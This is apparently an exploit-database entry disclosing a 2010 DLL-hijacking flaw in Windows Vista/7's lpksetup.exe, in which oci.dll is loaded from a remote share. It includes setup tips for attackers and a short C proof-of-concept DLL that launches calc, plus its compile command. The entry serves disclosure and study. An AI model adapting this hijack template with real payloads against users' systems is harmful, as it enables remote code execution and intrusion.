Microsoft Windows Vista – ‘lpksetup.exe oci.dll’ DLL Loading Arbitrary Code Execution
// source: https://www.securityfocus.com/bid/44414/info Microsoft Windows 'lpksetup.exe' is prone to a vulnerability that lets attackers execute arbitrary code. An attacker can exploit this issue by enticing a legitimate user to use the vulnerable application to open a file from a network share location that contains a specially crafted Dynamic Link Library (DLL) file. /* Exploit: Windows Vista/7 lpksetup.exe (oci.dll) DLL Hijacking Vulnerability Extension: .mlc Author: Tyler Borland (tborland1@gmail.com) Date: 10/20/2010 Tested on: Windows 7 Ultimate (Windows Vista Ultimate/Enterpries and Windows 7 Enterprise should be vulnerable as well) Effect: Remote Code Execution lpksetup is the language pack installer that is included by default with Windows Vista/7 Ultimate or Enterprise editions. By opening a .mlc file through something like an open SMB or WebDav share, the oci.dll file will be grabbed and ran in the context of the vulnerable application. This is a LoadLibrary() load path bug. The load library search order is: 1. The directory from which the application loaded 2. 32-bit System directory (Windows\System32) 3. 16-bit System directory (Windows\System) 4. Windows directory (Windows) 5. Current working directory 6. Directories in the PATH environment variable As OracleOciLib is not used on target system, oci.dll does not exist, so if a full path is not supplied when calling the dll or the search path has not been cleared before the call, we will hit our fifth search path and load the library from the remote filesystem. Interestingly enough, while lpksetup is blocked for execution by UAC under a normal user, the injected library (payload) will still execute. Exploiters make sure your system's security policy, secpol.msc, allows complete anonymous share access for connecting users. Outlook links seem to be the current exploit toyland, other vectors: http://www.binaryplanting.com/attackVectors.htm */ #include <windows.h> int main() { WinExec("calc", SW_NORMAL); // the typical non-lethal PoC exit(0); return 0; } BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved) { main(); return 0; } /* ~/.wine/drive_c/MinGW/bin/wine gcc.exe lpksetup.c -o oci.dll */ |